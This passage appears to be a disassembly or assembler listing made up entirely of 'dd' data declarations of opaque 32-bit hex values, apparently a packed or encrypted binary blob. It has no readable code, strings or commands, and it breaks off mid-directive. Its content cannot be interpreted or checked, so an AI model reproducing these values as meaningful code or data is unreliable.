7252C940h dd 802E3AF8h, 0B8261FCEh, 965DEBF4h, 4893652Dh, 0B8B88EBCh dd 5925756Ch, 4D76510Dh, 42C26CBCh, 23B2B8D6h, 0F66FB452h dd 38190D84h, 45B61C68h, 60562A24h, 1908B6B3h, 0ADB8B9A4h dd 0B6621E4Ch, 8FA450E4h, 760DE04Ch, 29FF1E42h, 8ABA4A8Bh dd 0CD170A9Eh, 30EB56D7h, 68224058h, 0C9887D33h, 0D62E05E8h dd 439DE04Fh, 48FCB74Eh, 0CE600B05h, 0AD2039Ah, 7848AC00h dd 0BB10D90Bh, 13152D56h, 0DA41B315h, 122949A3h, 4CC80354h dd 0D3EA080Ch, 0F158060Ch, 459C01Fh, 0DB7A80C5h, 6D8A8923h dd 514A14B2h, 87402213h, 0CD656013h, 76FCF657h, 1114B28h dd 1E0AE47Ah, 9E4FC68h, 0F85C20AAh, 0B53EA403h, 7DCD5865h dd 0F24C8420h, 2E0468F8h, 12CCCC14h, 0A2CE73CBh, 83675112h dd 0C96BE25Dh, 0FB3D897Dh, 893A8835h, 19C12B24h, 0E8458189h dd 3E0DEC1Ch, 1EDAAAA0h, 1D8725DEh, 7D0BB8A6h, 8180A4DEh dd 0AD26EE0Ch, 761CE0CDh, 0F87E1C74h, 0E1EB06FCh, 9E3F4CEFh dd 0CD66C4EBh, 0A41120C5h, 8030702Eh, 0CAF2ECEh, 9A8B025Ah dd 96621823h, 328D1033h, 5156164Dh, 70B9914Bh, 0E52B5EC9h dd 27A63525h, 4E22D026h, 8832E707h, 6E78B982h, 892FBB42h dd 0BB31B78Ah, 9D84E8F0h, 6A2326C2h, 0D1162200h, 6AF44FD8h dd 0F068680Dh, 1C0DC6F0h, 0ACE84822h, 308816E8h, 0EC58EC27h dd 4BD92ABAh, 59335468h, 0FC0B2210h, 4161195h, 0EC1A1175h dd 8EB16720h, 197558B5h, 4DD2005h, 33050372h, 726F802h dd 4010672h, 1D3DAC16h, 0D429AA19h, 0C6BCD006h, 0BAAE46CEh dd 0AEE0B5E0h, 6E919040h, 38370C42h, 202D9CF4h, 0F735E1C6h dd 440F0015h, 12711A21h, 25ECCC2Dh, 0D9A35E06h, 0E631020h dd 3965262Bh, 4706E5B2h, 23057516h, 30B3921Bh, 1619022Dh dd 66822498h, 254C9C2Dh, 191E4390h, 90DBB44Ch, 0F28C405Dh dd 2CF626FEh, 133B2D08h, 1B6E106Fh, 4477950Eh, 0EE8B9424h dd 0D554BFEh, 451B277Bh, 60325E59h, 148539DFh, 76AD2F74h dd 0DB2F14FFh, 4626DBF8h, 4E3560FAh, 0D43C80Eh, 7ACCF0DCh dd 54D264EBh, 0DC2EF7C5h dd 37FAFF37h, 0B240B364h, 6F08243Fh, 1D77B365h, 123A5048h dd 0C3B3ED65h, 95B491CCh, 9B159FE6h, 6C9DF21Dh, 8E1AB4D5h dd 0ACC1121Bh, 4551ECBCh, 0E2CBC51Bh, 9794C557h, 2C92A64h dd 82CE40BAh, 5CE4D8ECh, 0F28F1002h, 0C85E1B0Eh, 70B22287h dd 0BB25FCA8h, 2DC83917h, 0D4F9D4F7h, 4B7206F9h, 790CB352h dd 0CDF9C0E3h, 0D5BD196h, 33B06EBAh, 0EC219620h, 3323426Ch dd 7A89BB15h, 592C58CFh, 9BACA240h, 6CEC590Eh, 0CBFECB4h dd 3E136AA5h, 0E316484Eh, 0FA0D0599h, 0D9071821h, 6670DC96h dd 0E00A2161h, 2A89C480h, 9A790BA7h, 3FF45993h, 0B26410F5h dd 0F973F882h, 526CD197h, 0E060A0h, 0CCC216E4h, 1269396Fh dd 0B00DFAFAh, 0C3D7124h, 932740h, 0FCB70D30h, 0F55567F0h dd 408B2508h, 6CEC9332h, 292A8701h, 930EF91Ch, 0BCDD015Dh dd 0B3A20DF9h, 0A64A207h, 0F603030Bh, 95142B1Ch, 2481AFCh dd 73064E4Dh, 850124A0h, 8327212Fh, 4E860214h, 6B16B0D9h dd 76B5096Dh, 9F417030h, 8A4E1B6Ch, 6B169685h, 0F5D73646h dd 0B8890B21h, 8E0017C6h, 80011EF1h, 0FE7A12A5h, 9B1B16FAh dd 2F8A250Ch, 490B2388h, 0B8C8BC11h, 1C251E28h, 3002699Ch dd 0F45479E8h, 2868F130h, 99F770CFh, 5E7AACECh, 7635147Dh dd 259A1A0h, 25F07630h, 0D5F78081h, 8CB0BD87h, 0FC354D22h dd 14024D11h, 0E5FE165Dh, 766A89A4h, 45131FC2h, 452DE82Dh dd 0B31A1EECh, 0F8FC1D2Bh, 735BB5FBh, 3B41C969h, 2A8C72C1h dd 882C2C3Fh, 820A3266h, 47644AC1h, 0D040F44Ch, 1005C0C5h dd 0D96ACD86h, 33D2EBECh, 3E3191CFh, 493D08FAh, 0B01EB00Dh dd 0B20E7C2Ch, 28739F23h, 17F62819h, 2CA40F0h, 8223183Eh dd 2CD1462Fh, 0C1206124h, 881A7998h, 31D9F9F9h, 68845E10h dd 3F06CFE7h, 75E8CDD2h, 2E617B74h, 0F586A834h, 0C0A833BAh dd 7B7B1BB1h, 77D78A43h, 0A02AF616h, 9FDE8EC8h, 3E48895Fh dd 331EB81Ch, 1D960A0Dh, 42DD320Eh, 109AF7D3h, 97FA2FB5h dd 0C89979FCh, 275A9A0Dh, 0F8A46E70h, 0E4918730h, 0A4A4F9ACh dd 0D784B638h, 2D4F0B91h, 6491DC68h, 101ACA63h, 0EC9A4A3h dd 161D80A2h, 841003E8h, 2901F083h, 59792B05h, 0A13CD56h dd 0A41C15E0h, 0E0289CFCh, 0A0F89A45h, 0C643650Ch, 98DEDC12h dd 0AB56185h, 0E55E1C36h, 24C0453Ah, 34A85F75h, 6587C178h dd 0AD2CA0A4h, 0C572AAD6h, 2ACCFC12h, 0E630D9EAh, 305AEB21h dd 9AC2E065h, 95690ECh, 921D92CCh, 0DCA61524h, 88A2900h dd 25A2A357h, 59F20CF0h, 0D5B23218h, 5C14141Eh, 0DDA23140h dd 9037DC0Ch, 12D411ADh, 25371B76h, 708F054h, 91DD36D0h dd 0D0D0F9A0h, 0BD00007h, 0F4367232h, 47BEF6C8h, 1BF436FAh dd 0C08B1C36h, 0CC1CC873h, 67064BCCh, 6D519BDDh, 3602056Dh dd 9D595BF0h, 0DC431B78h, 8D59A8F4h, 0FE0868B1h, 7F25910Ch dd 0E740126h, 10C05F8h, 0B9076F7Ch, 1A888710h, 80F40B6Dh dd 1EB21CB7h, 266922F0h, 0F3A043E4h, 0F02605F8h, 0D9B7B259h dd 0B0FFF416h, 0BC795C3Fh, 0CCA3AAC0h, 349CECCFh, 93A8A472h dd 9C76C924h, 601D04h, 8BECD003h, 0E02ECD20h, 0D0001217h dd 5C8E7554h, 0FCCC542Ah, 0E903FB7Ch, 0E5922628h, 0E99E2DD4h dd 2885D575h, 0B33806FAh, 78C83917h, 6FB78FBh, 80C3090Ch dd 6A226E00h, 139016F7h, 84FB78F2h, 99221DFBh, 804916D9h dd 0CB12E422h, 0C970BCEh, 4BFB8032h, 0E573E40Eh, 0D1FB8000h dd 0CF90725Eh, 0FB70FB70h, 0FC42FC42h, 43C49E42h, 802FEB45h dd 273306FBh, 0DB0121DFh, 12790211h, 29DC4E4Bh, 0B65EFC42h dd 2D6D366Ch, 0B28A3C1Bh, 4F9556B9h, 0DF081E0Ah, 0CD689712h dd 2011C66Ch, 0AD1DDF65h, 5439037Dh, 1D8826FEh, 0BA3E2808h dd 72DF6C91h, 872502EDh, 25AEBC47h, 13310405h, 1E08C9CDh dd 0FB748914h, 0CC042774h, 97A31E09h, 7810FB64h, 0EF053BC6h dd 849A332Dh, 80723903h, 7CFB64FBh, 781B20D5h, 0A73A7CE7h dd 8DC8FB74h, 0FB64E4A6h, 0FB74B41Ah, 6CB03420h, 0CA1EB34Bh dd 8FC64762h, 7ECFD0BEh, 50598810h, 0D008032Bh, 319AA4BDh dd 2DE1BD13h, 9DE3261Dh, 0FCCC524Bh, 0A38CDC9Eh, 5DCA6D82h dd 0D8D02114h, 2D442C8h, 21205D29h, 0C470727h, 2A103901h dd 764884BFh, 3068EF04h, 0B38CB8D0h, 5607203Ch, 9503C0F0h dd 102068FCh, 0D064680Fh, 0E8105554h, 97FCB583h, 65B3020h dd 90AE0CEEh, 6169735Eh, 19120093h, 2C258661h, 0E7FE89Ah dd 9D9B0195h, 6C6F0C4Dh, 92B4172Dh, 80E9903Fh, 617A2944h dd 6F593C91h, 81A3B23h, 0FDDB34F4h, 884C3610h, 0A1253B64h dd 0CC159330h, 0DC6925CEh, 0BC3843FDh, 0FC86B20Ah, 218407E0h dd 7C32A292h, 94E0886Eh, 0BC40529Ch, 27908D02h, 2B13FB7h dd 0DD27FD44h, 8662CDA9h, 48A3EE4Eh, 48648h, 36EE2E78h dd 2B0C498Eh, 5CAAD823h, 30606880h, 0ACD100F6h, 0EB91E9A9h dd 17EAB45Eh, 21C93456h, 853B3DFBh, 3B24726Ch, 3256D0C8h dd 0EB101F64h, 46982322h, 0E0208F41h, 0A7C588E1h, 0AA332210h dd 2A861713h, 2810F23Ah, 423705h, 0CD2CC682h, 0B789239Fh dd 0EA60F0F0h, 2EF000h, 36EE2138h, 415247C0h, 1F647F87h dd 87213269h, 410068C4h, 0C8D206F4h, 5F43C85h, 1D0AF404h dd 6FA8AC0Dh, 0F2870E1Fh, 0EE0C9A13h, 0F4EED15Dh, 8741C168h dd 184C833Ch, 7B40B3DCh, 66204E22h, 0A666038Bh, 857804A7h dd 0FD4096EEh, 207B3F0Eh, 0F27F835h, 744685B7h, 0E1138C1Bh dd 8B4F4407h, 0C2320367h, 0F7A06FD7h, 6AC01C50h, 50894052h dd 0D58390F2h, 40FD3C49h, 0AD6CEAFDh, 92580F0Dh, 41598D64h dd 7E9A5DFCh, 6AA17A05h, 1AB3C30Ah, 931CBC16h, 0BE40BB05h dd 4405187Ah, 0BC1B1630h, 4566A1B2h, 8FED0566h, 0C267D030h dd 6714FD9Eh, 0D663347Fh, 107AB00Eh, 0A4B88B02h, 581EAC06h dd 28107D71h, 0A3DE1E22h, 63EE0549h, 4391DA8h, 0AE35286Eh dd 8552E687h, 88A7613h, 25FD2C72h, 65D90814h, 38A8B9E8h dd 2A67DA10h, 34882B6Fh, 364B7A39h, 8356115h, 988812B5h dd 8B50F564h, 0EF5216CEh, 665705DBh, 6A4B0850h, 0F450184Ah dd 4A926487h, 0DF37284Fh, 4E021975h, 140F0619h, 245B5202h dd 83F2B45h, 2E02F7C8h, 0B304EC1Fh, 0E1A9F590h, 53009E18h dd 76EC0C7Fh, 0F88E7512h, 0A46F5247h, 1966E897h, 9C9E4AE4h dd 0E4E43Ch, 0E4E42B74h, 0E0E0E0B9h, 4E080B29h, 8DA7D1BEh dd 660E7506h, 0BF8853AEh, 6734CC39h, 7906EC0Dh, 14167109h dd 5D08DC6Fh, 0F6CECDDCh, 23DC9E14h, 0B2326608h, 0D823FC9Ch dd 0D8F00200h, 0C481C8D8h, 105EFAA3h, 1B81B663h, 770C9310h dd 0B358B0C4h, 5073806Fh, 13AA4C0Ah, 3646C148h, 0C0B09CD1h dd 4390E08Ch, 515E0520h, 0D2E7453Ch, 0F7A04C9h, 87F16DA0h dd 1086831Ah, 6638A297h, 4A0068A0h, 132BD140h, 0F4C95680h dd 108A2C27h, 0E733F4C5h, 0E280CD03h, 3B3BF0F6h, 53B077Ch dd 6D680A4h, 0C326112Bh, 8590681Ah, 2E8233DAh, 5E668998h dd 0A018BFEDh, 0B340496Dh, 11651A80h, 63A2AB14h, 0A8293404h dd 0E40C704Dh, 0D29C9F61h, 0E024C07h, 0C0468005h, 11520DB2h dd 0C1FEC78h, 6C6644F4h, 4CB8280Bh, 0B0418C15h, 829D2BAh dd 161A8293h, 0BEA3C738h, 3A817E85h, 0C8D23B13h, 6C62C4E8h dd 521C05CBh, 0A8090650h, 0DAC373E0h, 58182B9Fh, 0CE9077F7h dd 15337068h, 5C9B7104h dd 196CC3Eh, 0E4808D4h, 596084Eh, 0C56C01E2h, 1B2AA4E1h dd 0F7799F4h, 700400B2h, 5377405h, 0F6317402h, 0B208D962h dd 51B55044h, 532C8305h, 0E51AE0E0h, 4128AA3Bh, 0BE0FF4EDh dd 1102F445h, 0A575C33Fh, 6D39D67Dh, 0A4E40B79h, 105E079h dd 7159ED4h, 382680A1h, 0FCD487CAh, 40F40A01h, 8E06A83Eh dd 1CD903CAh, 0FCD8D3B8h, 2829FE7Ch, 16950130h, 8C148B48h dd 6680E1D1h, 5A291CC2h, 3C316516h, 72390FCh, 3EFC3CD9h dd 4FFC3CA6h, 3C1C9301h, 40EC40FCh, 40167D8Ah, 8B0E736Fh dd 3100CF11h, 7232028h, 7D8B36B2h, 2F098B19h, 204D5351h dd 0E335366Ah, 0D232365Eh, 11444487h, 8B597E2Ah, 93FB3426h dd 27FD10A4h, 9E08C160h, 992C9527h, 8B763623h, 0D05B0347h dd 0D10D0C0Eh, 0B08BF3AAh, 0A2AC3932h, 0E70A2BD7h, 239A4A24h dd 3048235Bh, 0B9E4A8FAh, 1738EF92h, 8A9828A0h, 34AE792Bh dd 64352C90h, 3870ABE4h, 0CC6C7BDCh, 3B63CB11h, 0C1830F8Dh dd 390B901Ah, 0B427281Bh, 19390B28h, 8C349919h, 90191939h dd 642C7134h, 0B901986h, 5928492Ch, 3CE31720h, 66063BFBh dd 0DCF9F34Ch, 3C0B05DEh, 0BCFA3CFAh, 596450FBh, 0FA8805BEh dd 0B10EB08Dh, 48F5F312h, 3C8C848Eh, 74FB19DDh, 0C8C84E38h dd 64333CD8h, 0BEFC4C28h, 5479190Bh, 4419FB34h, 464AD82Eh dd 0B15062Ch, 37C078C6h, 47D15CE1h, 1602C17Fh, 0C1B72603h dd 8A60BD96h, 698543ABh, 666B1A4Ah, 206E1833h, 623A418Ah dd 44AFE931h, 91825919h, 0FE05A248h, 0C88096FEh, 6E896787h dd 330733FCh, 82781446h, 0C0C2CE19h, 0A23B3776h, 0B3D07948h dd 0C79D96F7h, 9753F8B4h, 593923ACh, 14D2DC0Eh, 51BF003Dh dd 0EBAF0D2Ch, 0C8EAEBECh, 32850E41h, 4A1ED3E0h, 0F463AD1h dd 0A06FDDB8h, 9CDC0C5Eh, 512A0090h, 60F410CCh, 38028A9h dd 0C6E417F6h, 81270Ch, 5BB008F6h, 8D8BEC45h, 851B905h dd 109BD425h, 2E1EC041h, 0B600EA14h, 0F20C3F62h, 77F6E436h dd 3D7D0005h, 5AF410DEh, 0E7E4816Bh, 0FC4DF030h, 0B42511FFh dd 66C362A6h, 0C607DC4Ah, 8C50F6E8h, 1A0C0951h, 0FD2B24F0h dd 43196F60h, 3680A75h, 4EE41240h, 3CECD738h, 7641E34Dh dd 0FB1867B6h, 8B0D8B9Dh, 38A60790h, 0DCF9FEC3h, 24F024A1h dd 486816F0h, 171C41D6h, 0B5BDFB16h, 8B4A4913h, 753CC24h dd 2C2173A2h, 6CA39000h, 2CE29E65h, 0E1C1F9F2h, 1429868Bh dd 0F9F414D6h, 0EC13831Ch, 0F5AC22FDh, 120AF5ECh, 710BDEF6h dd 82BD0EF7h, 14F55FFAh, 0B3748878h, 5F170D7h, 3E4100F7h dd 51A703F5h, 0F410FB09h, 0BE86DFDDh, 30558305h, 8B3EB58Dh dd 6800A5FCh, 0B1BD4119h, 4FB88A10h, 70D1B9F3h, 308A538h dd 816028Dh, 3E4B78F2h, 8F20807h, 0D8D90BF2h, 18994839h dd 19B45037h, 0A361A419h, 463C1818h, 1C646426h, 841C181Ch dd 1C4B9017h, 0C42E1453h, 0F1F8A726h, 0EFFC1771h, 7C9E4942h dd 0EFFCEFFCh, 0A2FB392Dh, 0E2F11E82h, 0E7C9703h, 0ECF1EC72h dd 0ECF1ECF1h, 922E45F6h, 502510F1h, 1906482h, 1010E94Bh dd 65919099h, 10141454h, 192E473Eh, 0F1F01414h, 0F3CF1ECh dd 0ECF44019h, 25D5F8F1h, 0F8F88C83h, 7E11C907h, 2D103CCDh dd 0F0E70C68h, 0EF6C9DFDh, 5DE87363h, 0D91C1806h, 0EC853639h dd 0F00467F4h, 2F7B64F8h, 333F08CCh, 784A18F7h, 9E4EDE06h dd 19640B27h, 808E419h, 464B0C44h, 80C6426h, 0D11B920Ch dd 18F60C90h, 1456D0F1h, 0A7496A5Fh, 0D939E283h, 14C1A91Ch dd 98B3EB10h, 8FEE7A9h, 470D0767h, 3BB1C73Ah, 7E4D739Dh dd 0B60F0313h, 5388D7FBh, 0C63EF270h, 0DA040584h, 0BB2D1536h dd 221BEB2Ch, 0FDF11462h, 1D4DECDCh, 0EB06582Ah, 9A566297h dd 0A480399Fh, 0A3000305h, 0A4DE12Ch, 1C6C2FDFh, 9040EE9h dd 70FCF814h, 0AC1C80A4h, 8DF21011h, 0D54270Ch, 5BE640B5h dd 342B178Ah, 1EA9A906h, 9D608435h, 0D5612817h, 1523AC8Fh dd 5AD5C0F2h, 0D0506814h, 0D5B4D948h, 58221B55h, 8131ECF2h dd 48ADF120h, 4A60C72h, 1ACA14F6h, 1638B005h, 2C493826h dd 0BAEC343Bh, 1604C9E5h, 5CC13A0Bh, 4F201E1Fh, 5A506818h dd 0F038F902h, 454F90Dh, 66F10476h, 10E3F26Fh, 7F03403h dd 1B30C30Dh, 0B2330333h, 72E4B607h, 1DF034C8h, 1E0DF038h dd 3F6E7ECBh, 2F7DEB06h, 4EC8550Eh, 3CDC9E1Ah, 94F65348h dd 74406BBDh, 742E1328h, 95F2714h, 759091B9h, 8CF03869h dd 7E6583F7h, 11FE453Eh, 0BA79806Ch, 0F6060EB0h, 0E77B0C1Ah dd 0F18AD419h, 6F1085Fh, 0DEDE775Ch, 4406ADFh, 8DF70F39h dd 7C310128h, 0BD87C25Eh, 4CF6F03Ch, 77F03CD5h, 1684D958h dd 115D416h, 46B25976h, 517242Dh, 40DF2532h, 63A0A068h dd 0A0C957B2h, 3C4FF08Bh, 4C611A48h, 90644F8h, 0BD256A03h dd 39304258h, 6D2A30D0h, 6D0CC958h, 131BF346h, 35403CD8h dd 0D4F40184h, 0BE792B4Bh, 691AAC65h, 2B04D6ECh, 0DA16DE7Bh dd 0D6C81208h, 48692Eh, 0B0E44265h, 20E40F46h, 4E6775F1h dd 0CAB58116h, 26F5500Eh, 7B00F580h, 49F5D494h, 725111DCh dd 0D54C3902h, 1C95D54Ch, 0D54CE402h, 2074D438h, 538AA03Ch dd 4BC40866h, 1B44A006h, 4E269205h, 2E9C342h, 0D8BA4817h dd 0F0D94123h, 0D0EC2301h, 0C7406859h, 0BEA6ECA0h, 0D9A1272h dd 0D3FCE0A9h, 47461725h, 82284F10h, 3B02F11Ah, 35487597h dd 3D084C04h, 3ABEAC08h, 4A3E3493h, 0F21EA0C8h, 4EF4D658h dd 7DB011F6h, 2D87896Dh, 42108538h, 0BE19B6CCh, 41830904h dd 7207AB02h, 62FA48D8h, 0C03209ACh, 6FB99C8h, 64E4E4EFh dd 44FCF8F4h, 9DE0B522h, 0FA44BD5Fh, 1831CE06h, 0C005E009h dd 62CAB83h, 7DE56ABCh, 0E2851B01h, 45EC4505h, 0EC304525h dd 1941D784h, 5593B02Bh, 68670AD0h, 6E902170h, 208F9052h dd 219043F8h, 0FBFC64E4h, 6DD141F9h, 40A8B14Bh, 0FA4026FAh dd 2F206CF2h, 3C37D724h, 9C53B0FAh, 7440A96Dh, 7921C93Eh dd 0F4010C2Eh, 0A5CF41FBh, 0FBE4A35Ah, 0DB9E540h, 8373C56h dd 0AF2EFA3Ch, 0F4CF2C8Ch, 1CF825FBh, 0F903D8BBh, 0FA481150h dd 931BF54Dh, 562882ECh, 4038FA38h, 0FA9160BEh, 40341E43h dd 34649B0Eh, 20303DF4h, 30649C83h, 602CFA3Ch, 2C324C87h dd 6C1E28F0h, 283260B3h, 87340591h, 308C8C88h, 206FDC2Ch dd 0D67CC14Dh, 90DF4C56h, 7F55911Eh, 0C801D78Ch, 60F24680h dd 0AA9E795Bh, 0E0D1740Ah, 0A353FDEAh, 0DC3554Ah, 21ACD9A6h dd 9E411408h, 26D62A34h, 817C9ED9h, 74202B04h, 0AAC2C0Eh dd 9F9452D8h, 0D53D153Dh, 1DBC9864h, 8A7658ABh, 0A52A459Fh dd 36AA3B67h, 1C7226B6h, 315F681Fh, 0C0ACB9DBh, 243D4EE7h dd 92B968FCh, 2217493h, 6646D808h, 3A49900h, 0AC10247Ch dd 0C0049264h, 388AFC9h, 19B8163Eh, 0F1040872h, 0ECAB6857h dd 82805CE9h, 0E9F4E800h, 8EFC402Bh, 23098D8Dh, 39070FC1h dd 6AA00A10h, 909DB49Ah, 0BFB4E61Fh, 5356E9ECh, 410E28DAh dd 26ED60B2h, 5DA09173h, 933C0C33h, 40C7010Dh, 0AC29EEACh dd 2CA404EEh, 4CEFB4C9h, 23909CD7h, 0B8EFB8F9h, 0DC498BEFh dd 46802843h, 4214BC85h, 2ED60BC0h, 0E4C4562Ch, 675B2A52h dd 0F0EEB0D5h, 47C4230Eh, 0B00A21E0h, 3211CFAFh, 9806501Ah dd 8415B56h, 0EF255CE4h, 45076788h, 0E9E9E43Ch, 4C1B9F23h dd 0E9F090CFh, 308CE9ECh dd 0DA9F203Ch, 0A580EBF4h, 2A4F328Ch, 0B45FADCAh, 0EEB527EEh dd 26D9DF70h, 9D139C1Dh, 9E029208h, 342738A9h, 0E2867B2Dh dd 132404F3h, 573C0525h, 0D61D2731h, 0E8DCC951h, 66BD267Fh dd 0DC839313h, 5F0D98DCh, 0EFC9EFC8h, 7B01A182h, 0EC4E4B10h dd 999B2E71h, 1FA4302Dh, 0B3C2A844h, 28AF6141h, 0B30590D0h dd 78480763h, 21FEE854h, 0FD978D7Ah, 16133356h, 3D9DEA35h dd 161C085Eh, 0E002D8Bh, 47597786h, 4A254BF4h, 75D3A384h dd 88B5B97Ah, 51140C7Ah, 0FD88E9D8h, 0BB05DE35h, 3BC12B28h dd 0F671BD37h, 0E25126A3h, 0C02B8A1Ah, 0B36004E8h, 0D83A8326h dd 18B0343Dh, 0D1784AE0h, 0A66E8DB0h, 0A0B26DDEh, 0CD5206F8h dd 68C54F9Eh, 0ED82CF03h, 46CD1D16h, 11614430h, 212C4274h dd 8820D243h, 24980Ch, 0C066E341h, 3735911Ah, 0EDA83F80h dd 25793375h, 9875C907h, 71EFE9E8h, 0C97F242Ah, 72AA0578h dd 0DDCE7B3Ch, 76DB34Eh, 8CF00F89h, 0ECE648B0h, 613DE648h dd 0C0622F6h, 14587319h, 0B955CC44h, 64F61710h, 100C8B67h dd 1C2D00C6h, 3206D60Ah, 1B713E21h, 13D82CE4h, 7B8DEB2Eh dd 0B9C896Ch, 3F87591Bh, 6CEA2218h, 184D9827h, 0BD4118Dh dd 844B207Bh, 2D817C7Fh, 12CFEC0Fh, 3DA57F1Fh, 633B0632h dd 807F406Ch, 801C2689h, 5EB343C3h, 2870109h, 13246DB9h dd 0E64CE4B6h, 38201023h, 0E750E404h, 8D8210BFh, 0DB230F24h dd 5868D80h, 6EDA1062h, 0F9A3B25Bh, 4CA8E858h, 1AF51735h dd 2B47B888h, 0B5EC3C0Ah, 98BD882h, 58752A46h, 3996082Fh dd 0A486DFFh, 2B0C5D48h, 6373E95h, 485B51ECh, 50E8500Fh dd 881C22E8h, 4CC36549h, 0F7328B54h, 0C674AB15h, 8B6B3DCCh dd 577F055Fh, 85221C70h, 6BC28CC0h, 6F5125C4h, 0E0EBE2A1h dd 0B2AB545Fh, 6E191A89h, 1C0B5754h, 80460089h, 0EA800003h dd 4F9E009h, 0CB9A6578h, 0BDF4F468h, 8367900Fh, 808F4AAh dd 21608002h, 813A4B01h, 0C053DC04h, 5F692BDAh, 89210024h dd 0C9552F4Ah, 1D616888h, 0BD525361h, 0EC402E51h, 8C57B355h dd 780A8932h, 72EF6B2Bh, 581A18E9h, 994409Bh, 18608D3Eh dd 3C244506h, 0B236780Eh, 0D57724Fh, 762C9567h, 9C0C10B0h dd 0CD23D859h, 6D40C800h, 8A419002h, 980A98E8h, 878B0511h dd 0A312DCB8h, 488BEE12h, 7BF46B0Eh, 0DC10092Ah, 0DB04353Dh dd 0DB0035E8h, 1AE9BA7Fh, 53FC0AB6h, 68F8076Ah, 5B90DE88h dd 0A4137C97h, 0D8C520EEh, 2F4AF5EEh, 6EED872h, 311805CAh dd 9092A0A8h, 3556747Ch, 0F8103D0Bh, 517E67A9h, 5ED10EBh dd 548A010Ah, 62762D90h, 3D05DBB3h, 4F04CF2Bh, 2D8B839Fh dd 498EBB76h, 0AAF209C2h, 7F75D904h, 0BC44D0ACh, 5BFD9568h dd 0E5510D94h, 0E7DCBC81h, 4CCE6ADDh, 0A3DF7C54h, 5040901h dd 8499266h, 9E40100Ch, 0EEE03E15h, 282A11C9h, 0EBFCC2ECh dd 7D820C36h, 2FDD5901h, 0DEF747BCh, 74B8137h, 5DD0E48h dd 0AB994ECCh, 42EB4080h, 7646C28h, 0EEDF9C01h, 6062122Dh dd 5751D731h, 48C34D2Eh, 9524B08Ah, 5BE9C25Eh, 0ED628A82h dd 4338022Ch, 0CA02AC25h, 0DB98E572h, 8207D859h, 6DCAB22h dd 0A871EFE4h, 75334066h, 64AA13B5h, 0B23B786Bh, 0FD48D9D4h dd 6751923h, 140EB3F9h, 0A2093C05h, 0DE7C2D8Ah, 5921B22Fh dd 0EFE4F91Eh, 12716106h, 38AFEBD0h, 3702C3E8h, 7FB12009h dd 8DC9E6BCh, 0DCEEDC1Eh, 0C36309EEh, 4A3D82CBh, 0D93C99F4h dd 2812633Fh, 1C5AFBBAh, 68707468h, 8C50C318h, 3A97BB90h dd 6C681521h, 170A033Fh, 6811BD44h, 0EAADE2Ch, 59E60058h dd 0D140859h, 0C897E484h, 0C34F8256h, 552C25FFh, 0C8C8BC05h dd 0B4B8C8C8h, 0C8C8ACB0h, 0A4A8C8C8h, 0C8CD9CA0h, 9498C8C8h dd 46CC8C90h, 0CCB64646h, 80848825h, 4645977Ch, 747846h dd 752F7D51h, 4C4F3D84h, 81145D24h, 462D0BE9h, 4FB1C40h dd 73170185h, 436EDFECh, 0CC4DBD1h, 0D18BE18Bh, 165FC350h dd 70B19192h, 686C4Dh, 0FE276DD0h, 24448B53h, 52D10B14h dd 50C0B10h, 5F556DD1h, 0B70807F1h, 0BB628895h, 195C5081h dd 4AFFFC0Bh, 0E9D11554h, 0EAD1DBD1h, 0C90BD8D1h, 0DFBBF78Eh dd 1BF3B76Dh, 913D64F7h, 0D1031004h, 243B0E72h, 76DD0877h dd 280773BBh, 52B0876h, 14111B10h, 0F6B00807h, 0F70C375Bh dd 0DA83A9DAh, 0A7C25B00h, 0A419A47Fh, 1880563Bh, 6B191014h dd 8AD86F74h, 80E1D307h, 0B2199B14h, 0F0809E98h, 9A6DC839h dd 0F7C47EC1h, 71083E6h, 0F0B2760Ch, 4C610ADEh, 725EC68Bh dd 56E16401h, 57603243h, 3FF3328h, 3EF6B75Ah, 6547147Dh dd 0D883A9A5h, 3B0E4B89h, 748913EBh, 26181B1Ch, 1C99877Bh dd 0B63F18B6h, 0B1B3F610h, 5419D841h, 0D1EBD1D4h, 0C8C9B6D9h dd 0F1DB3348h, 83C2181Ch, 1014320Ch, 3207754Fh, 1EC646C6h dd 5CC15F5Eh, 46540558h, 50464646h, 4644484Ch, 40464646h dd 9134383Ch, 30464611h, 70240928h, 6AA50608h, 635D1258h dd 1660EDB8h, 8D0A6C89h, 15F83F03h, 3108481Ah, 3DCF7407h dd 83474498h, 6F70F1ABh, 76382A98h, 558D7482h, 3DBBA20Ch dd 0A06852F0h, 111127DEh, 561C317Ch, 0A68A5B5Ch, 0C1D0814h dd 0EB440EF6h, 867D8A5h, 5EF68528h, 7B9553Dh, 0C8578E0Ch dd 2AABD961h, 5FB7AA18h, 8B64C072h, 6870C52h, 8B56C830h dd 0D5CF0C19h, 0F708EBBFh, 6473B868h, 4B89ED5h, 83F18B56h dd 7FBDBF66h, 4460C97h, 0B406C7C6h, 80E5272h, 7C800D74h dd 8BAC639Ch, 82065324h, 11550D04h, 2DE7E3BDh, 9AF64A39h dd 56077401h, 9B9AC18h, 4DD21B4Fh, 6ECDB68Bh, 4E898BB7h dd 5608402Eh, 5854C0B0h, 486C0E7Bh, 6E1B8B04h, 6C14BB5Ch dd 0C76791Bh, 0BA4656DFh, 0B02A0D9Ah, 14C0395Eh, 0C6660C80h dd 0A4801805h, 6D918462h, 77201C27h, 0DC33058Dh, 4B1FE1BDh dd 804C33Bh, 3B0F21Eh, 0F1EC0B7Ch, 0AC2050B8h, 0FF141975h dd 4100455Eh, 7A0AF40Bh, 0CF44C344h, 0B1D4552Dh, 35F7D49h dd 5C978D00h, 95720F7Eh, 6AE7958Ah, 0F75DB7BDh, 3FDB9h dd 3DB07C5h, 50772F0h, 59B66C6Fh, 8673382Eh, 331FDEB0h dd 361F2137h, 4172C075h, 0EC1B1301h, 3BD8490Bh, 47D013E0h dd 8725764h, 13207308h, 2FB07EE9h, 2013283Bh, 4199305h dd 7B3B7023h, 0B05B2160h, 7BC1B6Fh, 9F966E49h, 26FC597h dd 0B3416FD1h, 87607748h, 7F211B10h, 906C3732h, 6B2F4E90h dd 0A23D5B00h, 3B809800h, 0D33FFF5Ch, 14400374h, 8A9BAA28h dd 88998DBCh, 0C884B78Bh, 0C4FFFFFFh, 0AAA3F993h, 0ABB697C9h dd 0B187A487h, 0D9B59EBCh, 86A5E398h, 0AA8EA5CAh, 0FFFFEC89h dd 0BFAD2BBFh, 0A6B5BF9Ch, 0DFBB9EADh, 9AB8E595h, 85B69FC9h dd 1B9184A7h, 29FFFB7Fh, 0B0BAA1BFh, 0EA85B5A7h, 9BA5E2B5h dd 8D8F57C3h, 0A7BDA7BAh, 0FFFD900Bh, 83E4AAACh, 0D48C84F9h dd 